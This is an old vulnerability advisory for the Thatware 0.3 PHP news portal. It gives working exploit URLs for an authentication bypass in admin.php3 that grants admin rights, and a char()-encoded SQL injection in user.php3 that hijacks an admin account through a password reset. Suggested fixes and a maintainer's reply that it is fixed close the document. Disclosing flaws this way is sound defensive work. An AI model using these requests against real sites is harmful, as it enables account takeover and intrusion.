#85 Security Hole (user.php3 & admin.php3)

[SecuiTeam Expert]

Summary

The security vulnerabilities in Thatware allows attacker to gain administrative access to the application. Thatware is a news portal administration, open source, and freely downloaded at:

http://www.atthat.com/

Vulnerable systems

Thatware 0.3

Exploit 1:

If we send it

http://site/admin.php3?user=anyone

the script will give $auth_rights = FALSE and goes on to:

if (sizeof($auth_rights)>0) {
$admintest=1;

This will succeed and open access to all functions in admin.php3. It is caused by the fact that sizeof($x), where $x is a variable that is set but is not an array, returns 1.

The following exploit will elevate 'someuser' status to admin:

http://site/admin.php3?user=anyone&op=AddAdmin
&add_root=&add_uname=someuser

Fix:

For a quick fix, simply rename admin.php3. And for those who might think security through obscurity is not quite enough, well, we should get into the code.

In auth.inc.php3, use conditional to check if $admin[0] dan
$admin[2] are empty (null or zero) before sending a query, e.g.

if (empty($admin[0]) || empty($admin[2])){exit;}

then replace

if (sizeof($auth_rights)>0)

with

if (!empty($auth_rights))

Anyway, these won't defend us against another form of exploit.

Exploit 2:

Unquotted variables from user input parsed directly into SQL statements provide a way to the second exploit. For example, in user.php3, under function saveuser():

update users_info set name='$name', email='$email',
femail='$femail', url='$url', bio='$bio' where uid=$uid

The attacker could hijack e.g. 'god' admin account by first sending it:

http://site/user.php3?op=Save%20User&email=cracker@domain
&uname=god&uid=blabla%20or%20uname%3Dchar(103,111,100)

that will alter email address to cracker@domain. Note that those numbers (103,111,100) are ascii sequence for 'god' (the attacker cannot just put uname%3D'god' since PHP3/4 will quote it into uname=\'god\' which will produce an invalid SQL statement).

Now, simply by sending it

htt://site/user.php?op=mailpasswd&uname=god

will alter the admin's password to a new password, then mail the new password to cracker's mailbox. Note: using the similar method, Thatware 0.2 or below are vulnerable to users accounts hijacking (admins' reside on the different table).

Fix:

Simply quote all numeric data in SQL statements. Instead of
"select * from users where uid=$uid", use "select * from users where uid='$uid'". MySQL automatically converts this to a number and meanwhile strips all non-numeric symbols from it.

[David Norman]

If Marrian doesn't bother me too much, I'll get to fix this tonight. Thanks for the fix tips, btw.

[David Norman]

Fixed in CVS.